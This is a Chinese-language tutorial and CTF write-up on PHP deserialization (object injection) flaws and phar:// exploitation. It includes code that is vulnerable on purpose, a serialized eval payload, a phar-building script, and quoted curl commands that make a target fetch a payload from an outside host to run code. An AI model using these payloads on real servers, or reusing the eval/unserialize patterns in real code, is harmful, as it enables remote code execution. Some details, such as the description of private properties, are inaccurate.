1.什么是序列化和反序列化?
PHP的序列化就是將各種類型的數據對象轉換成一定的格式存儲,其目的是為了將一個對象通過可保存的字節方式存儲起來這樣就可以將學列化字節存儲到數據庫或者文本當中,當需要的時候再通過反序列化獲取。
serialize() //實現變量的序列化,返回結果為字符串 unserialize() //實現字符串的反序列化,返回結果為變量
下面我們看一個簡單的序列化例子:
<?php class SerializeTest{ private $flag = "null"; public $aaa = "s1awwhy"; protected $ddd = "why"; public function set_flag($flag){ $this->flag = $flag; } public function get_flag(){ return $this->flag; } } $demo1 = new SerializeTest();$serialArray = serialize($array1); echo $serialArray; echo "\n";$demo1->set_flag("flag{helloworld"); $serialization1 = serialize($demo1); echo $serialization1; ?>
輸出結果:
對於不同權限的屬性序列化中的結果也會不一樣:
- public:序列化之后就是最普通的方式,屬性名和屬性值。
- private:私有權限,表示這個屬性是該類所有對象共享的屬性,屬性名和類的名字在一起。序列化結果:%00類名%屬性名
- protected:序列化之后的形式就是%00*%00屬性名
另外從序列化結果中我們也可以發現只有類的屬性被序列化,但是方法沒有被序列化。
反序列化:
<?php /* 對數組array1進行序列化,然后打印序列化后的結果,並且寫入文件中,接着輸出這個數組。 */ $array1 = array('1','2','3'); $serialArray = serialize($array1); echo $serialArray; file_put_contents("serialization.txt",$serialArray); $array2 = unserialize($serialArray); print_r($array2); ?>
輸出結果:
我們只需要更改serialization.txt中的內容就可以實現對數組內容的更改,當對類進行反序列化時,也是一樣的道理,更改序列化之后的字符串就可以實現對類中的屬性進行更改。
反序列化就是將格式化的序列化字符串進行還原,還原出我們想要的對象,實現屬性的和方法的調用。那么攻擊者就是利用這一點進行攻擊,如果序列化的字符串內容被修改,對象的屬性可能就會被修改,這就是反序列化攻擊的核心原理。
2.為什么要進行序列化和反序列化?
- 序列化可以實現將對象壓縮並格式化,方便數據的傳輸和存儲。
- PHP文件在執行結束時會把對象銷毀,如果下次要引用這個對象的話就很麻煩,但是又不能總是存儲這一對象,所以就有了對象序列化,實現對象的長久存儲,對象序列化之后存儲起來,下次調用時直接調出來反序列化之后就可以使用了。
3.反序列化漏洞
3.1 定義
PHP 反序列化漏洞又叫做 PHP 對象注入漏洞,成因在於代碼中的 unserialize() 接收的參數可控,從上面的例子看,這個函數的參數是一個序列化的對象,而序列化的對象只含有對象的屬性,那我們就要利用對對象屬性的篡改實現最終的攻擊。
3.2 Magic function
Magic function也叫魔術方法,是PHP的類中的一種特殊方法,一些特定的情況下,某個魔術方法會自動被調用。
__construct() //構造函數,當對象創建(new)時會自動調用。但在unserialize()時是不會自動調用的。 __destruct() //析構函數,類似於C++。會在到某個對象的所有引用都被刪除或者當對象被顯式銷毀時執行,當對象被銷毀時會自動調用。 __wakeup() //調用unserialize()時會檢查是否存在 __wakeup(),如果存在,則會優先調用 __wakeup()方法。 __toString() //用於處理一個類被當成字符串時應怎樣回應,因此當一個對象被當作一個字符串時就會調用。 __sleep() //用於提交未提交的數據,或類似的清理操作,因此當一個對象被序列化的時候被調用。 __call() //在對象上下文中調用不可訪問的方法時觸發 __callStatic() //在靜態上下文中調用不可訪問的方法時觸發 __get() //用於從不可訪問的屬性讀取數據 __set() //用於將數據寫入不可訪問的屬性 __isset() //在不可訪問的屬性上調用isset()或empty()觸發 __unset() //在不可訪問的屬性上使用unset()時觸發 __toString() //把類當作字符串使用時觸發 __invoke() //當腳本嘗試將對象調用為函數時觸發
為什么提到Magic function?
在前面提到了PHP反序列化攻擊的核心原理是通過更改序列化字符串,實現對對象屬性的更改,但是這里有一個問題就是,序列化和反序列化並沒有針對方法進行操作,僅僅是將類的屬性進行了序列化,如果被攻擊者調用的函數中並沒有用到我們更改的屬性,那么我們的反序列化攻擊就是無意義的。怎么解決這個問題呢?此時我們就要用到這個Magic function,因為某些魔術方法在序列化和反序列化過程中會自動調用,我們可以利用這一點來實現攻擊。
測試Magic function:
<?php class MagicFunc{ private $flag = "null"; public $aaa = "s1awwhy"; protected $ddd = "why"; function __construct(){ echo "__construct()"; echo "\n"; } function __sleep(){ echo "__sleep()"; echo "\n"; return array("name"); } function __wakeup(){ echo "__wakeup()"; echo "\n"; } function __destruct(){ echo "__destruct()"; echo "\n"; } function __toString(){ return "__toString()"; // echo "\n"; } } $magicFunc = new MagicFunc(); $serialization = serialize($magicFunc); $result = unserialize($serialization); ?>
輸出結果:
這里調用兩次__destruct()是因為要銷毀$magicFunction和$result。
3.3 利用魔術方法進行攻擊
漏洞代碼serialVul.php:
<?php class serialVul { private $test; public $s1awwhy = "i am s1awwhy"; function __construct() { $this->test = new L(); } function __destruct() { $this->test->action(); } } class L { function action() { echo "Welcome to websec"; } } class Evil { var $test2; function action() { eval($this->test2); } } echo "PHP_Serialize_Vulnerability"; unserialize($_GET['test']);
首先對這段代碼進行一下分析,代碼中定義了一個類serialVul,serialVul類中有屬性test,構造函數中將一個L類的對象賦給test,析構函數會執行屬性test的action()方法。代碼中L類並沒有什么可疑的地方,僅定義了一個普通的方法。還有一個Evil類,這個類中有屬性test2、action()方法,action()方法中存在eval(),執行變量test2中的代碼。這時候我們就可以利用這個Evil類中的action()方法來執行一些危險的代碼。
我們可以構造一個serialVul類的對象,將Evil類的一個對象賦值給serialVul對象的test屬性,將危險代碼放入Evil類對象的test2屬性中,然后對serialVul對象進行序列化,將序列化結果作為payload,實現攻擊。
構造payload,這里我們在test2中賦一個phpinfo()方法,如果攻擊成功那個將顯示phpinfo,代碼如下:
<?php class serialVul{ private $test; function __construct(){ $this->test = new Evil(); } } class Evil{ public $test2 = "phpinfo();"; } $serialVul1 = new serialVul; $payload = serialize($serialVul1); echo $payload; file_put_contents("payload.txt", $payload); ?>
生成payload:
?test=O:9:"serialVul":1:{s:15:"%00serialVul%00test";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}}
生成的payload中需要注意的是:由於變量test是私有屬性,需要在test和類名之前都加上%00,因為私有屬性序列化之后的結果是%00類名%00屬性名
攻擊成功:
3.4 尋找PHP反序列化漏洞流程
- 尋找unserialize()方法的參數,並且看一下是否有我們的可控點
- 尋找一些可以的類作為反序列化目標,重點關注存在wakeup()和destruct()等魔術方法的類
- 一層一層地研究該類在魔法方法中使用的屬性和屬性調用的方法,看看是否有可控的屬性能實現在當前調用的過程中觸發的,其實就是查看POP鏈中是否有可疑利用的屬性
- 找到可以利用的屬性之后就是利用代碼來構造payload,實現攻擊
4. POP鏈介紹
POP 面向屬性編程(Property-Oriented Programing) 常用於上層語言構造特定調用鏈的方法,通過分析類中方法和屬性的一層一層調用關系,將這些類、方法、屬性拼接起來,形成一個一層一層的調用關系鏈,最后到達我們需要的函數中。
5.利用phar協議拓展PHP反序列化的攻擊面
phar://協議
phar文件 :PHAR(PHP歸檔)文件是一種打包格式,通過將許多PHP代碼文件和其他資源(例如圖像,樣式表等)捆綁到一個歸檔文件中來實現應用程序和庫的分發。所有PHAR文件都使用.phar作為文件擴展名,PHAR格式的歸檔需要使用自己寫的PHP代碼。
要想使用Phar類里的方法,必須將phar.readonly配置項配置為0或Off(文檔中定義),phar文件有四部分構成:
1.a stub(phar 文件標識)
可以理解為一個標志,格式為xxx<?php xxx; __HALT_COMPILER();?>
,前面內容不限,但必須以__HALT_COMPILER();?>
來結尾,否則phar擴展將無法識別這個文件為phar文件。
2.a manifest describing the contents (攻擊最核心的地方,存儲序列化數據,也就是我們的惡意payload)
phar文件本質上是一種壓縮文件,其中每個被壓縮文件的權限、屬性等信息都放在這部分。這部分還會以序列化的形式存儲用戶自定義的meta-data,這是上述攻擊手法最核心的地方。
3.文件內容
被壓縮文件的內容。
4、[optional] a signature for verifying Phar integrity (phar file format only)
簽名,放在文件末尾。對應函數Phar :: stopBuffering —停止緩沖對Phar存檔的寫入請求,並將更改保存到磁盤
phar實戰
題目源碼:
<?php $FLAG = create_function("", 'die(`/read_flag`);'); // 得到 flag 的匿名函數 $SECRET = `/read_secret`; $SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); // 根據 remote_addr 給每個人創建一個沙盒 @mkdir($SANDBOX); @chdir($SANDBOX); if (!isset($_COOKIE["session-data"])) { $data = serialize(new User($SANDBOX)); $hmac = hash_hmac("sha1", $data, $SECRET); setcookie("session-data", sprintf("%s-----%s", $data, $hmac)); //將每個人唯一的沙盒對象加上簽名后作為 session-data } class User { public $avatar; function __construct($path) { $this->avatar = $path; //設置了頭像的路徑為沙盒路徑 } } class Admin extends User { function __destruct(){ $random = bin2hex(openssl_random_pseudo_bytes(32)); eval("function my_function_$random() {" ." global \$FLAG; \$FLAG();" /*反序列化這個對象就能創建一個隨機名字的函數,調用這個函數就能調用 flag,實際上這是一個騙局,匿名函數也是有名字的*/ ."}"); $_GET["lucky"](); } } function check_session() { global $SECRET; $data = $_COOKIE["session-data"]; list($data, $hmac) = explode("-----", $data, 2); if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) die("Bye"); if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) ) die("Bye Bye"); $data = unserialize($data); if ( !isset($data->avatar) ) die("Bye Bye Bye"); return $data->avatar; //判斷身份,如果身份正確返回頭像路徑(沙盒路徑) //該函數不可繞過 } function upload($path) { $data = file_get_contents($_GET["url"] . "/avatar.gif"); //獲取頭像,檢查頭是否為GIF89a ,正確后存入沙盒, //這個就是利用 phar:// 進行反序列化的點 if (substr($data, 0, 6) !== "GIF89a") die("Fuck off"); file_put_contents($path . "/avatar.gif", $data); die("Upload OK"); } function show($path) { //獲取這個沙盒中的頭像, if ( !file_exists($path . "/avatar.gif") ) $path = "/var/www/html"; header("Content-Type: image/gif"); die(file_get_contents($path . "/avatar.gif")); } $mode = $_GET["m"]; if ($mode == "upload") upload(check_session()); else if ($mode == "show") show(check_session()); else highlight_file(__FILE__);
首先這個題目很明顯能判斷出來是php反序列化,那么第一步想到的就是找到unserailize()方法:
function check_session() { global $SECRET; $data = $_COOKIE["session-data"]; list($data, $hmac) = explode("-----", $data, 2); if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) die("Bye"); if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) ) die("Bye Bye"); $data = unserialize($data); if ( !isset($data->avatar) ) die("Bye Bye Bye"); return $data->avatar; //判斷身份,如果身份正確返回頭像路徑(沙盒路徑) //該函數不可繞過 }
要想利用unserailize(),通過控制參數實現反序列化,需要bypass對cookie的檢測,那么看一下cookie生成的過程:
$FLAG = create_function("", 'die(`/read_flag`);'); // 得到 flag 的匿名函數 $SECRET = `/read_secret`; $SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); // 根據 remote_addr 給每個人創建一個沙盒 @mkdir($SANDBOX); @chdir($SANDBOX); if (!isset($_COOKIE["session-data"])) { $data = serialize(new User($SANDBOX)); $hmac = hash_hmac("sha1", $data, $SECRET); setcookie("session-data", sprintf("%s-----%s", $data, $hmac)); //將每個人唯一的沙盒對象加上簽名后作為 session-data }
但是cookie的生成是通過remote_addr 配合 sha1 進行 hmac 簽名生成的,沒辦法進行繞過,所以就要換一個思路,又發現源碼中upload函數:
function upload($path) { $data = file_get_contents($_GET["url"] . "/avatar.gif"); //獲取頭像,檢查頭是否為GIF89a ,正確后存入沙盒 //這個就是利用 phar:// 進行反序列化的點 if (substr($data, 0, 6) !== "GIF89a") die("Fuck off"); file_put_contents($path . "/avatar.gif", $data); die("Upload OK"); }
這里他是可以上傳一個文件讀取這個文件的數據,那么我們可以構造一個包含 Admin 對象、包含 avatar.gif 文件,stub是 GIF89a<?php xxx; __HALT_COMPILER();?>的phar文件,然后上傳,下一次請求通過 Phar:// 協議讓 file_get_contents 請求這個文件就可以實現我們對 Admin 對象的反序列化了。
payload:
<?php class Admin { public $avatar = 'orz'; } $p = new Phar(__DIR__ . '/avatar.phar', 0); $p['file.php'] = '<?php ?>'; $p->setMetadata(new Admin()); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); rename(__DIR__ . '/avatar.phar', __DIR__ . '/avatar.gif'); ?>
Orange給出的wp:
# get a cookie $ curl http://host/ --cookie-jar cookie # download .phar file from http://orange.tw/avatar.gif $ curl -b cookie 'http://host/?m=upload&url=http://orange.tw/' # force apache to fork new process $ python fork.py & # get flag $ curl -b cookie "http://host/?m=upload&url=phar:///var/www/data/$MD5_IP/&lucky=%00lambda_1"
總結
這篇文章是從0開始學習php序列化和反序列化,所以包含了基礎的定義,以及php對象序列化和反序列化的過程,對不同對象序列化之后的結果進行了舉例,說明了各個結構代表的內容。接下來就是序列化過程有哪些方法是可以被我們利用的,序列化和反序列化過程中那些方法會自動調用,並且總結了一下php反序列化漏洞利用的過程。最后提到了phar協議和反序列化漏洞的結合,並且找到了一個比較經典的例子,由於水平有限,這個例子大部分都是參考大佬。、
參考
https://www.k0rz3n.com/2018/11/19/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://www.jianshu.com/p/8f498198fc3d
https://www.kingkk.com/2018/07/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://chybeta.github.io/2017/06/17/%E6%B5%85%E8%B0%88php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://www.cnblogs.com/tr1ple/p/11156279.html#XFRQpyWp